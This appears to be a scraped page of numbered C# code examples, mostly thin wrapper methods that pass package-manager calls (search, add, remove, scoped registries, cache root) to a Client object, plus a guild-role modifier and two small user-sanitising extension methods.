 public virtual SetCacheRootRequest SetCacheRoot(string path)
 {
     return(Client.SetCacheRoot(path));
 }
Beispiel #44
0
 /// <summary>
 /// Modifies the role
 /// </summary>
 /// <param name="properties">Options for modifying the role</param>
 public Role Modify(RoleProperties properties)
 {
     return(Client.ModifyGuildRole(GuildId, Id, properties));
 }
Beispiel #45
0
 public virtual UpdateScopedRegistryRequest UpdateScopedRegistry(string registryName, UpdateScopedRegistryOptions options)
 {
     return(Client.UpdateScopedRegistry(registryName, options));
 }
Beispiel #46
0
 public virtual ClearCacheRootRequest ClearCacheRoot()
 {
     return(Client.ClearCacheRoot());
 }
Beispiel #47
0
 public virtual SearchRequest Search(string packageIdOrName, bool offlineMode)
 {
     return(Client.Search(packageIdOrName, offlineMode));
 }
Beispiel #48
0
 public virtual GetCacheRootRequest GetCacheRoot()
 {
     return(Client.GetCacheRoot());
 }
Beispiel #49
0
 public virtual RemoveRequest Remove(string packageName)
 {
     return(Client.Remove(packageName));
 }
Beispiel #50
0
 public virtual SearchRequest SearchAll(bool offlineMode)
 {
     return(Client.SearchAll(offlineMode));
 }
Beispiel #51
0
 public virtual GetRegistriesRequest GetRegistries()
 {
     return(Client.GetRegistries());
 }
Beispiel #52
0
 public virtual RemoveScopedRegistryRequest RemoveScopedRegistry(string registryName)
 {
     return(Client.RemoveScopedRegistry(registryName));
 }
Beispiel #53
0
 public virtual AddScopedRegistryRequest AddScopedRegistry(string registryName, string url, string[] scopes)
 {
     return(Client.AddScopedRegistry(registryName, url, scopes));
 }
Beispiel #54
0
 public virtual ListRequest List(bool offlineMode, bool includeIndirectDependencies)
 {
     return(Client.List(offlineMode, includeIndirectDependencies));
 }
Beispiel #55
0
 public virtual AddRequest Add(string identifier)
 {
     return(Client.Add(identifier));
 }
Beispiel #56
0
 public virtual EmbedRequest Embed(string packageName)
 {
     return(Client.Embed(packageName));
 }
 public static Client WithPassword(this Client user)
 {
     user.ClientId = 0;
     return(user);
 }
Beispiel #58
0
 public virtual AddAndRemoveRequest AddAndRemove(string[] packagesToAdd = null, string[] packagesToRemove = null)
 {
     return(Client.AddAndRemove(packagesToAdd, packagesToRemove));
 }
 public static Client ForPublic(this Client user)
 {
     user.Password = null;
     user.ClientId = 0;
     return(user);
 }
Beispiel #60
0
 public virtual void Resolve(bool force = true)
 {
     Client.Resolve(force);
 }